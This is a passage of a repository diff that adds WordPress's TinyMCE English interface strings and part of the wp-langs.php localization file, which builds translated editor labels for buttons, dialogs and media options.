+code_desc:"Edit HTML Source",
+sub_desc:"Subscript",
+sup_desc:"Superscript",
+hr_desc:"Insert horizontal ruler",
+removeformat_desc:"Remove formatting",
+forecolor_desc:"Select text color",
+backcolor_desc:"Select background color",
+charmap_desc:"Insert custom character",
+visualaid_desc:"Toggle guidelines/invisible elements",
+anchor_desc:"Insert/edit anchor",
+cut_desc:"Cut",
+copy_desc:"Copy",
+paste_desc:"Paste",
+image_props_desc:"Image properties",
+newdocument_desc:"New document",
+help_desc:"Help",
+blockquote_desc:"Blockquote (Alt+Shift+Q)",
+clipboard_msg:"Copy/Cut/Paste is not available in Mozilla and Firefox.",
+path:"Path",
+newdocument:"Are you sure you want to clear all contents?",
+toolbar_focus:"Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",
+more_colors:"More colors",
+colorpicker_delta_width:"0",
+colorpicker_delta_height:"0"
+});
+
+tinyMCE.addI18n("en.advanced_dlg",{
+about_title:"About TinyMCE",
+about_general:"About",
+about_help:"Help",
+about_license:"License",
+about_plugins:"Plugins",
+about_plugin:"Plugin",
+about_author:"Author",
+about_version:"Version",
+about_loaded:"Loaded plugins",
+anchor_title:"Insert/edit anchor",
+anchor_name:"Anchor name",
+code_title:"HTML Source Editor",
+code_wordwrap:"Word wrap",
+colorpicker_title:"Select a color",
+colorpicker_picker_tab:"Picker",
+colorpicker_picker_title:"Color picker",
+colorpicker_palette_tab:"Palette",
+colorpicker_palette_title:"Palette colors",
+colorpicker_named_tab:"Named",
+colorpicker_named_title:"Named colors",
+colorpicker_color:"Color:",
+colorpicker_name:"Name:",
+charmap_title:"Select custom character",
+image_title:"Insert/edit image",
+image_src:"Image URL",
+image_alt:"Image description",
+image_list:"Image list",
+image_border:"Border",
+image_dimensions:"Dimensions",
+image_vspace:"Vertical space",
+image_hspace:"Horizontal space",
+image_align:"Alignment",
+image_align_baseline:"Baseline",
+image_align_top:"Top",
+image_align_middle:"Middle",
+image_align_bottom:"Bottom",
+image_align_texttop:"Text top",
+image_align_textbottom:"Text bottom",
+image_align_left:"Left",
+image_align_right:"Right",
+link_title:"Insert/edit link",
+link_url:"Link URL",
+link_target:"Target",
+link_target_same:"Open link in the same window",
+link_target_blank:"Open link in a new window",
+link_titlefield:"Title",
+link_is_email:"The URL you entered seems to be an email address, do you want to add the required mailto: prefix?",
+link_is_external:"The URL you entered seems to external link, do you want to add the required http:// prefix?",
+link_list:"Link list"
+});
+
+tinyMCE.addI18n("en.media_dlg",{
+title:"Insert / edit embedded media",
+general:"General",
+advanced:"Advanced",
+file:"File/URL",
+list:"List",
+size:"Dimensions",
+preview:"Preview",
+constrain_proportions:"Constrain proportions",
+type:"Type",
+id:"Id",
+name:"Name",
+class_name:"Class",
+vspace:"V-Space",
+hspace:"H-Space",
+play:"Auto play",
+loop:"Loop",
+menu:"Show menu",
+quality:"Quality",
+scale:"Scale",
+align:"Align",
+salign:"SAlign",
+wmode:"WMode",
+bgcolor:"Background",
+base:"Base",
+flashvars:"Flashvars",
+liveconnect:"SWLiveConnect",
+autohref:"AutoHREF",
+cache:"Cache",
+hidden:"Hidden",
+controller:"Controller",
+kioskmode:"Kiosk mode",
+playeveryframe:"Play every frame",
+targetcache:"Target cache",
+correction:"No correction",
+enablejavascript:"Enable JavaScript",
+starttime:"Start time",
+endtime:"End time",
+href:"Href",
+qtsrcchokespeed:"Choke speed",
+target:"Target",
+volume:"Volume",
+autostart:"Auto start",
+enabled:"Enabled",
+fullscreen:"Fullscreen",
+invokeurls:"Invoke URLs",
+mute:"Mute",
+stretchtofit:"Stretch to fit",
+windowlessvideo:"Windowless video",
+balance:"Balance",
+baseurl:"Base URL",
+captioningid:"Captioning id",
+currentmarker:"Current marker",
+currentposition:"Current position",
+defaultframe:"Default frame",
+playcount:"Play count",
+rate:"Rate",
+uimode:"UI Mode",
+flash_options:"Flash options",
+qt_options:"Quicktime options",
+wmp_options:"Windows media player options",
+rmp_options:"Real media player options",
+shockwave_options:"Shockwave options",
+autogotourl:"Auto goto URL",
+center:"Center",
+imagestatus:"Image status",
+maintainaspect:"Maintain aspect",
+nojava:"No java",
+prefetch:"Prefetch",
+shuffle:"Shuffle",
+console:"Console",
+numloop:"Num loops",
+controls:"Controls",
+scriptcallbacks:"Script callbacks",
+swstretchstyle:"Stretch style",
+swstretchhalign:"Stretch H-Align",
+swstretchvalign:"Stretch V-Align",
+sound:"Sound",
+progress:"Progress",
+qtsrc:"QT Src",
+qt_stream_warn:"Streamed rtsp resources should be added to the QT Src field under the advanced tab.",
+align_top:"Top",
+align_right:"Right",
+align_bottom:"Bottom",
+align_left:"Left",
+align_center:"Center",
+align_top_left:"Top left",
+align_top_right:"Top right",
+align_bottom_left:"Bottom left",
+align_bottom_right:"Bottom right",
+flv_options:"Flash video options",
+flv_scalemode:"Scale mode",
+flv_buffer:"Buffer",
+flv_startimage:"Start image",
+flv_starttime:"Start time",
+flv_defaultvolume:"Default volume",
+flv_hiddengui:"Hidden GUI",
+flv_autostart:"Auto start",
+flv_loop:"Loop",
+flv_showscalemodes:"Show scale modes",
+flv_smoothvideo:"Smooth video",
+flv_jscallback:"JS Callback"
+});
+
+tinyMCE.addI18n("en.wordpress",{
+wp_adv_desc:"Show/Hide Kitchen Sink (Alt+Shift+Z)",
+wp_more_desc:"Insert More tag (Alt+Shift+T)",
+wp_page_desc:"Insert Page break (Alt+Shift+P)",
+wp_help_desc:"Help (Alt+Shift+H)",
+wp_more_alt:"More...",
+wp_page_alt:"Next page...",
+add_media:"Add Media",
+add_image:"Add an Image",
+add_video:"Add Video",
+add_audio:"Add Audio",
+editgallery:"Edit Gallery",
+delgallery:"Delete Gallery"
+});
+
+tinyMCE.addI18n("en.wpeditimage",{
+edit_img:"Edit Image",
+del_img:"Delete Image",
+adv_settings:"Advanced Settings",
+none:"None",
+size:"Size",
+thumbnail:"Thumbnail",
+medium:"Medium",
+full_size:"Full Size",
+current_link:"Current Link",
+link_to_img:"Link to Image",
+link_help:"Enter a link URL or click above for presets.",
+adv_img_settings:"Advanced Image Settings",
+source:"Source",
+width:"Width",
+height:"Height",
+orig_size:"Original Size",
+css:"CSS Class",
+adv_link_settings:"Advanced Link Settings",
+link_rel:"Link Rel",
+height:"Height",
+orig_size:"Original Size",
+css:"CSS Class",
+s60:"60%",
+s70:"70%",
+s80:"80%",
+s90:"90%",
+s100:"100%",
+s110:"110%",
+s120:"120%",
+s130:"130%",
+img_title:"Edit Image Title",
+caption:"Edit Image Caption",
+alt:"Edit Alternate Text"
+});
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/langs/wp-langs.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/langs/wp-langs.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/langs/wp-langs.php	(revision 44)
@@ -0,0 +1,455 @@
+<?php
+
+function mce_put_file( $path, $content ) {
+	if ( function_exists('file_put_contents') )
+		return @file_put_contents( $path, $content );
+
+	$newfile = false;
+	$fp = @fopen( $path, 'wb' );
+	if ($fp) {
+		$newfile = fwrite( $fp, $content );
+		fclose($fp);
+	}
+	return $newfile;
+}
+
+// escape text only if it needs translating
+function mce_escape($text) {
+	global $language;
+
+	if ( 'en' == $language ) return $text;
+	else return esc_js($text);
+}
+
+$lang = 'tinyMCE.addI18n({' . $language . ':{
+common:{
+edit_confirm:"' . mce_escape( __('Do you want to use the WYSIWYG mode for this textarea?') ) . '",
+apply:"' . mce_escape( __('Apply') ) . '",
+insert:"' . mce_escape( __('Insert') ) . '",
+update:"' . mce_escape( __('Update') ) . '",
+cancel:"' . mce_escape( __('Cancel') ) . '",
+close:"' . mce_escape( __('Close') ) . '",
+browse:"' . mce_escape( __('Browse') ) . '",
+class_name:"' . mce_escape( __('Class') ) . '",
+not_set:"' . mce_escape( __('-- Not set --') ) . '",
+clipboard_msg:"' . mce_escape( __('Copy/Cut/Paste is not available in Mozilla and Firefox.') ) . '",
+clipboard_no_support:"' . mce_escape( __('Currently not supported by your browser, use keyboard shortcuts instead.') ) . '",
+popup_blocked:"' . mce_escape( __('Sorry, but we have noticed that your popup-blocker has disabled a window that provides application functionality. You will need to disable popup blocking on this site in order to fully utilize this tool.') ) . '",
+invalid_data:"' . mce_escape( __('Error: Invalid values entered, these are marked in red.') ) . '",
+more_colors:"' . mce_escape( __('More colors') ) . '"
+},
+contextmenu:{
+align:"' . mce_escape( __('Alignment') ) . '",
+left:"' . mce_escape( __('Left') ) . '",
+center:"' . mce_escape( __('Center') ) . '",
+right:"' . mce_escape( __('Right') ) . '",
+full:"' . mce_escape( __('Full') ) . '"
+},
+insertdatetime:{
+date_fmt:"' . mce_escape( __('%Y-%m-%d') ) . '",
+time_fmt:"' . mce_escape( __('%H:%M:%S') ) . '",
+insertdate_desc:"' . mce_escape( __('Insert date') ) . '",
+inserttime_desc:"' . mce_escape( __('Insert time') ) . '",
+months_long:"' . mce_escape( __('January').','.__('February').','.__('March').','.__('April').','.__('May').','.__('June').','.__('July').','.__('August').','.__('September').','.__('October').','.__('November').','.__('December') ) . '",
+months_short:"' . mce_escape( __('Jan_January_abbreviation').','.__('Feb_February_abbreviation').','.__('Mar_March_abbreviation').','.__('Apr_April_abbreviation').','.__('May_May_abbreviation').','.__('Jun_June_abbreviation').','.__('Jul_July_abbreviation').','.__('Aug_August_abbreviation').','.__('Sep_September_abbreviation').','.__('Oct_October_abbreviation').','.__('Nov_November_abbreviation').','.__('Dec_December_abbreviation') ) . '",
+day_long:"' . mce_escape( __('Sunday').','.__('Monday').','.__('Tuesday').','.__('Wednesday').','.__('Thursday').','.__('Friday').','.__('Saturday') ) . '",
+day_short:"' . mce_escape( __('Sun').','.__('Mon').','.__('Tue').','.__('Wed').','.__('Thu').','.__('Fri').','.__('Sat') ) . '"
+},
+print:{
+print_desc:"' . mce_escape( __('Print') ) . '"
+},
+preview:{
+preview_desc:"' . mce_escape( __('Preview') ) . '"
+},
+directionality:{
+ltr_desc:"' . mce_escape( __('Direction left to right') ) . '",
+rtl_desc:"' . mce_escape( __('Direction right to left') ) . '"
+},
+layer:{
+insertlayer_desc:"' . mce_escape( __('Insert new layer') ) . '",
+forward_desc:"' . mce_escape( __('Move forward') ) . '",
+backward_desc:"' . mce_escape( __('Move backward') ) . '",
+absolute_desc:"' . mce_escape( __('Toggle absolute positioning') ) . '",
+content:"' . mce_escape( __('New layer...') ) . '"
+},
+save:{
+save_desc:"' . mce_escape( __('Save') ) . '",
+cancel_desc:"' . mce_escape( __('Cancel all changes') ) . '"
+},
+nonbreaking:{
+nonbreaking_desc:"' . mce_escape( __('Insert non-breaking space character') ) . '"
+},
+iespell:{
+iespell_desc:"' . mce_escape( __('Run spell checking') ) . '",
+download:"' . mce_escape( __('ieSpell not detected. Do you want to install it now?') ) . '"
+},
+advhr:{
+advhr_desc:"' . mce_escape( __('Horizontale rule') ) . '"
+},
+emotions:{
+emotions_desc:"' . mce_escape( __('Emotions') ) . '"
+},
+searchreplace:{
+search_desc:"' . mce_escape( __('Find') ) . '",
+replace_desc:"' . mce_escape( __('Find/Replace') ) . '"
+},
+advimage:{
+image_desc:"' . mce_escape( __('Insert/edit image') ) . '"
+},
+advlink:{
+link_desc:"' . mce_escape( __('Insert/edit link') ) . '"
+},
+xhtmlxtras:{
+cite_desc:"' . mce_escape( __('Citation') ) . '",
+abbr_desc:"' . mce_escape( __('Abbreviation') ) . '",
+acronym_desc:"' . mce_escape( __('Acronym') ) . '",
+del_desc:"' . mce_escape( __('Deletion') ) . '",
+ins_desc:"' . mce_escape( __('Insertion') ) . '",
+attribs_desc:"' . mce_escape( __('Insert/Edit Attributes') ) . '"
+},
+style:{
+desc:"' . mce_escape( __('Edit CSS Style') ) . '"
+},
+paste:{
+paste_text_desc:"' . mce_escape( __('Paste as Plain Text') ) . '",
+paste_word_desc:"' . mce_escape( __('Paste from Word') ) . '",
+selectall_desc:"' . mce_escape( __('Select All') ) . '"
+},
+paste_dlg:{
+text_title:"' . mce_escape( __('Use CTRL+V on your keyboard to paste the text into the window.') ) . '",
+text_linebreaks:"' . mce_escape( __('Keep linebreaks') ) . '",
+word_title:"' . mce_escape( __('Use CTRL+V on your keyboard to paste the text into the window.') ) . '"
+},
+table:{
+desc:"' . mce_escape( __('Inserts a new table') ) . '",
+row_before_desc:"' . mce_escape( __('Insert row before') ) . '",
+row_after_desc:"' . mce_escape( __('Insert row after') ) . '",
+delete_row_desc:"' . mce_escape( __('Delete row') ) . '",
+col_before_desc:"' . mce_escape( __('Insert column before') ) . '",
+col_after_desc:"' . mce_escape( __('Insert column after') ) . '",
+delete_col_desc:"' . mce_escape( __('Remove column') ) . '",
+split_cells_desc:"' . mce_escape( __('Split merged table cells') ) . '",
+merge_cells_desc:"' . mce_escape( __('Merge table cells') ) . '",
+row_desc:"' . mce_escape( __('Table row properties') ) . '",
+cell_desc:"' . mce_escape( __('Table cell properties') ) . '",
+props_desc:"' . mce_escape( __('Table properties') ) . '",
+paste_row_before_desc:"' . mce_escape( __('Paste table row before') ) . '",
+paste_row_after_desc:"' . mce_escape( __('Paste table row after') ) . '",
+cut_row_desc:"' . mce_escape( __('Cut table row') ) . '",
+copy_row_desc:"' . mce_escape( __('Copy table row') ) . '",
+del:"' . mce_escape( __('Delete table') ) . '",
+row:"' . mce_escape( __('Row') ) . '",
+col:"' . mce_escape( __('Column') ) . '",
+cell:"' . mce_escape( __('Cell') ) . '"
+},
+autosave:{
+unload_msg:"' . mce_escape( __('The changes you made will be lost if you navigate away from this page.') ) . '"
+},
+fullscreen:{
+desc:"' . mce_escape( __('Toggle fullscreen mode') ) . ' (Alt+Shift+G)"
+},
+media:{
+desc:"' . mce_escape( __('Insert / edit embedded media') ) . '",
+delta_width:"' . /* translators: Extra width for the media popup in pixels */ mce_escape( _x('0', 'media popup width') ) . '",
+delta_height:"' . /* translators: Extra height for the media popup in pixels */ mce_escape( _x('0', 'media popup height') ) . '",
+edit:"' . mce_escape( __('Edit embedded media') ) . '"
+},
+fullpage:{
+desc:"' . mce_escape( __('Document properties') ) . '"
+},
+template:{
+desc:"' . mce_escape( __('Insert predefined template content') ) . '"
+},
+visualchars:{
+desc:"' . mce_escape( __('Visual control characters on/off.') ) . '"
+},
+spellchecker:{
+desc:"' . mce_escape( __('Toggle spellchecker') ) . ' (Alt+Shift+N)",
+menu:"' . mce_escape( __('Spellchecker settings') ) . '",
+ignore_word:"' . mce_escape( __('Ignore word') ) . '",
+ignore_words:"' . mce_escape( __('Ignore all') ) . '",
+langs:"' . mce_escape( __('Languages') ) . '",
+wait:"' . mce_escape( __('Please wait...') ) . '",
+sug:"' . mce_escape( __('Suggestions') ) . '",
+no_sug:"' . mce_escape( __('No suggestions') ) . '",
+no_mpell:"' . mce_escape( __('No misspellings found.') ) . '"
+},
+pagebreak:{
+desc:"' . mce_escape( __('Insert page break.') ) . '"
+}}});
+
+tinyMCE.addI18n("' . $language . '.advanced",{
+style_select:"' . mce_escape( /* translators: TinyMCE font styles */ _x('Styles', 'TinyMCE font styles') ) . '",
+font_size:"' . mce_escape( __('Font size') ) . '",
+fontdefault:"' . mce_escape( __('Font family') ) . '",
+block:"' . mce_escape( __('Format') ) . '",
+paragraph:"' . mce_escape( __('Paragraph') ) . '",
+div:"' . mce_escape( __('Div') ) . '",
+address:"' . mce_escape( __('Address') ) . '",
+pre:"' . mce_escape( __('Preformatted') ) . '",
+h1:"' . mce_escape( __('Heading 1') ) . '",
+h2:"' . mce_escape( __('Heading 2') ) . '",
+h3:"' . mce_escape( __('Heading 3') ) . '",
+h4:"' . mce_escape( __('Heading 4') ) . '",
+h5:"' . mce_escape( __('Heading 5') ) . '",
+h6:"' . mce_escape( __('Heading 6') ) . '",
+blockquote:"' . mce_escape( __('Blockquote') ) . '",
+code:"' . mce_escape( __('Code') ) . '",
+samp:"' . mce_escape( __('Code sample') ) . '",
+dt:"' . mce_escape( __('Definition term ') ) . '",
+dd:"' . mce_escape( __('Definition description') ) . '",
+bold_desc:"' . mce_escape( __('Bold') ) . ' (Ctrl / Alt+Shift + B)",
+italic_desc:"' . mce_escape( __('Italic') ) . ' (Ctrl / Alt+Shift + I)",
+underline_desc:"' . mce_escape( __('Underline') ) . '",
+striketrough_desc:"' . mce_escape( __('Strikethrough') ) . ' (Alt+Shift+D)",
+justifyleft_desc:"' . mce_escape( __('Align left') ) . ' (Alt+Shift+L)",
+justifycenter_desc:"' . mce_escape( __('Align center') ) . ' (Alt+Shift+C)",
+justifyright_desc:"' . mce_escape( __('Align right') ) . ' (Alt+Shift+R)",
+justifyfull_desc:"' . mce_escape( __('Align full') ) . ' (Alt+Shift+J)",
+bullist_desc:"' . mce_escape( __('Unordered list') ) . ' (Alt+Shift+U)",
+numlist_desc:"' . mce_escape( __('Ordered list') ) . ' (Alt+Shift+O)",
+outdent_desc:"' . mce_escape( __('Outdent') ) . '",
+indent_desc:"' . mce_escape( __('Indent') ) . '",
+undo_desc:"' . mce_escape( __('Undo') ) . ' (Ctrl+Z)",
+redo_desc:"' . mce_escape( __('Redo') ) . ' (Ctrl+Y)",
+link_desc:"' . mce_escape( __('Insert/edit link') ) . ' (Alt+Shift+A)",
+link_delta_width:"' . /* translators: Extra width for the link popup in pixels */ mce_escape( _x('0', 'link popup width') ) . '",
+link_delta_height:"' . /* translators: Extra height for the link popup in pixels */ mce_escape( _x('0', 'link popup height') ) . '",
+unlink_desc:"' . mce_escape( __('Unlink') ) . ' (Alt+Shift+S)",
+image_desc:"' . mce_escape( __('Insert/edit image') ) . ' (Alt+Shift+M)",
+image_delta_width:"' . /* translators: Extra width for the image popup in pixels */ mce_escape( _x('0', 'image popup width') ) . '",
+image_delta_height:"' . /* translators: Extra height for the image popup in pixels */ mce_escape( _x('0', 'image popup height') ) . '",
+cleanup_desc:"' . mce_escape( __('Cleanup messy code') ) . '",
+code_desc:"' . mce_escape( __('Edit HTML Source') ) . '",
+sub_desc:"' . mce_escape( __('Subscript') ) . '",
+sup_desc:"' . mce_escape( __('Superscript') ) . '",
+hr_desc:"' . mce_escape( __('Insert horizontal ruler') ) . '",
+removeformat_desc:"' . mce_escape( __('Remove formatting') ) . '",
+forecolor_desc:"' . mce_escape( __('Select text color') ) . '",
+backcolor_desc:"' . mce_escape( __('Select background color') ) . '",
+charmap_desc:"' . mce_escape( __('Insert custom character') ) . '",
+visualaid_desc:"' . mce_escape( __('Toggle guidelines/invisible elements') ) . '",
+anchor_desc:"' . mce_escape( __('Insert/edit anchor') ) . '",
+cut_desc:"' . mce_escape( __('Cut') ) . '",
+copy_desc:"' . mce_escape( __('Copy') ) . '",
+paste_desc:"' . mce_escape( __('Paste') ) . '",
+image_props_desc:"' . mce_escape( __('Image properties') ) . '",
+newdocument_desc:"' . mce_escape( __('New document') ) . '",
+help_desc:"' . mce_escape( __('Help') ) . '",
+blockquote_desc:"' . mce_escape( __('Blockquote') ) . ' (Alt+Shift+Q)",
+clipboard_msg:"' . mce_escape( __('Copy/Cut/Paste is not available in Mozilla and Firefox.') ) . '",
+path:"' . mce_escape( __('Path') ) . '",
+newdocument:"' . mce_escape( __('Are you sure you want to clear all contents?') ) . '",
+toolbar_focus:"' . mce_escape( __('Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X') ) . '",
+more_colors:"' . mce_escape( __('More colors') ) . '",
+colorpicker_delta_width:"' . /* translators: Extra width for the colorpicker popup in pixels */ mce_escape( _x('0', 'colorpicker popup width') ) . '",
+colorpicker_delta_height:"' . /* translators: Extra height for the colorpicker popup in pixels */ mce_escape( _x('0', 'colorpicker popup height') ) . '"
+});
+
+tinyMCE.addI18n("' . $language . '.advanced_dlg",{
+about_title:"' . mce_escape( __('About TinyMCE') ) . '",
+about_general:"' . mce_escape( __('About') ) . '",
+about_help:"' . mce_escape( __('Help') ) . '",
+about_license:"' . mce_escape( __('License') ) . '",
+about_plugins:"' . mce_escape( __('Plugins') ) . '",
+about_plugin:"' . mce_escape( __('Plugin') ) . '",
+about_author:"' . mce_escape( __('Author') ) . '",
+about_version:"' . mce_escape( __('Version') ) . '",
+about_loaded:"' . mce_escape( __('Loaded plugins') ) . '",
+anchor_title:"' . mce_escape( __('Insert/edit anchor') ) . '",
+anchor_name:"' . mce_escape( __('Anchor name') ) . '",
+code_title:"' . mce_escape( __('HTML Source Editor') ) . '",
+code_wordwrap:"' . mce_escape( __('Word wrap') ) . '",
+colorpicker_title:"' . mce_escape( __('Select a color') ) . '",
+colorpicker_picker_tab:"' . mce_escape( __('Picker') ) . '",
+colorpicker_picker_title:"' . mce_escape( __('Color picker') ) . '",
+colorpicker_palette_tab:"' . mce_escape( __('Palette') ) . '",
+colorpicker_palette_title:"' . mce_escape( __('Palette colors') ) . '",
+colorpicker_named_tab:"' . mce_escape( __('Named') ) . '",
+colorpicker_named_title:"' . mce_escape( __('Named colors') ) . '",
+colorpicker_color:"' . mce_escape( __('Color:') ) . '",
+colorpicker_name:"' . mce_escape( __('Name:') ) . '",
+charmap_title:"' . mce_escape( __('Select custom character') ) . '",
+image_title:"' . mce_escape( __('Insert/edit image') ) . '",
+image_src:"' . mce_escape( __('Image URL') ) . '",
+image_alt:"' . mce_escape( __('Image description') ) . '",
+image_list:"' . mce_escape( __('Image list') ) . '",
+image_border:"' . mce_escape( __('Border') ) . '",
+image_dimensions:"' . mce_escape( __('Dimensions') ) . '",
+image_vspace:"' . mce_escape( __('Vertical space') ) . '",
+image_hspace:"' . mce_escape( __('Horizontal space') ) . '",
+image_align:"' . mce_escape( __('Alignment') ) . '",
+image_align_baseline:"' . mce_escape( __('Baseline') ) . '",
+image_align_top:"' . mce_escape( __('Top') ) . '",
+image_align_middle:"' . mce_escape( __('Middle') ) . '",
+image_align_bottom:"' . mce_escape( __('Bottom') ) . '",
+image_align_texttop:"' . mce_escape( __('Text top') ) . '",
+image_align_textbottom:"' . mce_escape( __('Text bottom') ) . '",
+image_align_left:"' . mce_escape( __('Left') ) . '",
+image_align_right:"' . mce_escape( __('Right') ) . '",
+link_title:"' . mce_escape( __('Insert/edit link') ) . '",
+link_url:"' . mce_escape( __('Link URL') ) . '",
+link_target:"' . mce_escape( __('Target') ) . '",
+link_target_same:"' . mce_escape( __('Open link in the same window') ) . '",
+link_target_blank:"' . mce_escape( __('Open link in a new window') ) . '",
+link_titlefield:"' . mce_escape( __('Title') ) . '",
+link_is_email:"' . mce_escape( __('The URL you entered seems to be an email address, do you want to add the required mailto: prefix?') ) . '",
+link_is_external:"' . mce_escape( __('The URL you entered seems to external link, do you want to add the required http:// prefix?') ) . '",
+link_list:"' . mce_escape( __('Link list') ) . '"
+});
+
+tinyMCE.addI18n("' . $language . '.media_dlg",{
+title:"' . mce_escape( __('Insert / edit embedded media') ) . '",
+general:"' . mce_escape( __('General') ) . '",
+advanced:"' . mce_escape( __('Advanced') ) . '",
+file:"' . mce_escape( __('File/URL') ) . '",
+list:"' . mce_escape( __('List') ) . '",
+size:"' . mce_escape( __('Dimensions') ) . '",
+preview:"' . mce_escape( __('Preview') ) . '",
+constrain_proportions:"' . mce_escape( __('Constrain proportions') ) . '",
+type:"' . mce_escape( __('Type') ) . '",
+id:"' . mce_escape( __('Id') ) . '",
+name:"' . mce_escape( __('Name') ) . '",
+class_name:"' . mce_escape( __('Class') ) . '",
+vspace:"' . mce_escape( __('V-Space') ) . '",
+hspace:"' . mce_escape( __('H-Space') ) . '",
+play:"' . mce_escape( __('Auto play') ) . '",
+loop:"' . mce_escape( __('Loop') ) . '",
+menu:"' . mce_escape( __('Show menu') ) . '",
+quality:"' . mce_escape( __('Quality') ) . '",
+scale:"' . mce_escape( __('Scale') ) . '",
+align:"' . mce_escape( __('Align') ) . '",
+salign:"' . mce_escape( __('SAlign') ) . '",
+wmode:"' . mce_escape( __('WMode') ) . '",
+bgcolor:"' . mce_escape( __('Background') ) . '",
+base:"' . mce_escape( __('Base') ) . '",
+flashvars:"' . mce_escape( __('Flashvars') ) . '",
+liveconnect:"' . mce_escape( __('SWLiveConnect') ) . '",
+autohref:"' . mce_escape( __('AutoHREF') ) . '",
+cache:"' . mce_escape( __('Cache') ) . '",
+hidden:"' . mce_escape( __('Hidden') ) . '",
+controller:"' . mce_escape( __('Controller') ) . '",
+kioskmode:"' . mce_escape( __('Kiosk mode') ) . '",
+playeveryframe:"' . mce_escape( __('Play every frame') ) . '",
+targetcache:"' . mce_escape( __('Target cache') ) . '",
+correction:"' . mce_escape( __('No correction') ) . '",
+enablejavascript:"' . mce_escape( __('Enable JavaScript') ) . '",
+starttime:"' . mce_escape( __('Start time') ) . '",
+endtime:"' . mce_escape( __('End time') ) . '",
+href:"' . mce_escape( __('Href') ) . '",
+qtsrcchokespeed:"' . mce_escape( __('Choke speed') ) . '",
+target:"' . mce_escape( __('Target') ) . '",
+volume:"' . mce_escape( __('Volume') ) . '",
+autostart:"' . mce_escape( __('Auto start') ) . '",
+enabled:"' . mce_escape( __('Enabled') ) . '",
+fullscreen:"' . mce_escape( __('Fullscreen') ) . '",
+invokeurls:"' . mce_escape( __('Invoke URLs') ) . '",
+mute:"' . mce_escape( __('Mute') ) . '",
+stretchtofit:"' . mce_escape( __('Stretch to fit') ) . '",
+windowlessvideo:"' . mce_escape( __('Windowless video') ) . '",
+balance:"' . mce_escape( __('Balance') ) . '",
+baseurl:"' . mce_escape( __('Base URL') ) . '",
+captioningid:"' . mce_escape( __('Captioning id') ) . '",
+currentmarker:"' . mce_escape( __('Current marker') ) . '",
+currentposition:"' . mce_escape( __('Current position') ) . '",
+defaultframe:"' . mce_escape( __('Default frame') ) . '",
+playcount:"' . mce_escape( __('Play count') ) . '",
+rate:"' . mce_escape( __('Rate') ) . '",
+uimode:"' . mce_escape( __('UI Mode') ) . '",
+flash_options:"' . mce_escape( __('Flash options') ) . '",
+qt_options:"' . mce_escape( __('Quicktime options') ) . '",
+wmp_options:"' . mce_escape( __('Windows media player options') ) . '",
+rmp_options:"' . mce_escape( __('Real media player options') ) . '",
+shockwave_options:"' . mce_escape( __('Shockwave options') ) . '",
+autogotourl:"' . mce_escape( __('Auto goto URL') ) . '",
+center:"' . mce_escape( __('Center') ) . '",
+imagestatus:"' . mce_escape( __('Image status') ) . '",
+maintainaspect:"' . mce_escape( __('Maintain aspect') ) . '",
+nojava:"' . mce_escape( __('No java') ) . '",
+prefetch:"' . mce_escape( __('Prefetch') ) . '",
+shuffle:"' . mce_escape( __('Shuffle') ) . '",
+console:"' . mce_escape( __('Console') ) . '",
+numloop:"' . mce_escape( __('Num loops') ) . '",
+controls:"' . mce_escape( __('Controls') ) . '",
+scriptcallbacks:"' . mce_escape( __('Script callbacks') ) . '",
+swstretchstyle:"' . mce_escape( __('Stretch style') ) . '",
+swstretchhalign:"' . mce_escape( __('Stretch H-Align') ) . '",
+swstretchvalign:"' . mce_escape( __('Stretch V-Align') ) . '",
+sound:"' . mce_escape( __('Sound') ) . '",
+progress:"' . mce_escape( __('Progress') ) . '",
+qtsrc:"' . mce_escape( __('QT Src') ) . '",
+qt_stream_warn:"' . mce_escape( __('Streamed rtsp resources should be added to the QT Src field under the advanced tab.') ) . '",
+align_top:"' . mce_escape( __('Top') ) . '",
+align_right:"' . mce_escape( __('Right') ) . '",
+align_bottom:"' . mce_escape( __('Bottom') ) . '",
+align_left:"' . mce_escape( __('Left') ) . '",
+align_center:"' . mce_escape( __('Center') ) . '",
+align_top_left:"' . mce_escape( __('Top left') ) . '",
+align_top_right:"' . mce_escape( __('Top right') ) . '",
+align_bottom_left:"' . mce_escape( __('Bottom left') ) . '",
+align_bottom_right:"' . mce_escape( __('Bottom right') ) . '",
+flv_options:"' . mce_escape( __('Flash video options') ) . '",
+flv_scalemode:"' . mce_escape( __('Scale mode') ) . '",
+flv_buffer:"' . mce_escape( __('Buffer') ) . '",
+flv_startimage:"' . mce_escape( __('Start image') ) . '",
+flv_starttime:"' . mce_escape( __('Start time') ) . '",
+flv_defaultvolume:"' . mce_escape( __('Default volume') ) . '",
+flv_hiddengui:"' . mce_escape( __('Hidden GUI') ) . '",
+flv_autostart:"' . mce_escape( __('Auto start') ) . '",
+flv_loop:"' . mce_escape( __('Loop') ) . '",
+flv_showscalemodes:"' . mce_escape( __('Show scale modes') ) . '",
+flv_smoothvideo:"' . mce_escape( __('Smooth video') ) . '",
+flv_jscallback:"' . mce_escape( __('JS Callback') ) . '"
+});
+
+tinyMCE.addI18n("' . $language . '.wordpress",{
+wp_adv_desc:"' . mce_escape( __('Show/Hide Kitchen Sink') )  . ' (Alt+Shift+Z)",
+wp_more_desc:"' . mce_escape( __('Insert More tag') ) . ' (Alt+Shift+T)",
+wp_page_desc:"' . mce_escape( __('Insert Page break') ) . ' (Alt+Shift+P)",
+wp_help_desc:"' . mce_escape( __('Help') ) . ' (Alt+Shift+H)",
+wp_more_alt:"' . mce_escape( __('More...') ) . '",
+wp_page_alt:"' . mce_escape( __('Next page...') ) . '",
+add_media:"' . mce_escape( __('Add Media') ) . '",
+add_image:"' . mce_escape( __('Add an Image') ) . '",
+add_video:"' . mce_escape( __('Add Video') ) . '",
+add_audio:"' . mce_escape( __('Add Audio') ) . '",
+editgallery:"' . mce_escape( __('Edit Gallery') ) . '",
+delgallery:"' . mce_escape( __('Delete Gallery') ) . '"
+});
+
+tinyMCE.addI18n("' . $language . '.wpeditimage",{
+edit_img:"' . mce_escape( __('Edit Image') )  . '",
+del_img:"' . mce_escape( __('Delete Image') )  . '",
+adv_settings:"' . mce_escape( __('Advanced Settings') )  . '",
+none:"' . mce_escape( __('None') )  . '",
+size:"' . mce_escape( __('Size') ) . '",
+thumbnail:"' . mce_escape( __('Thumbnail') ) . '",
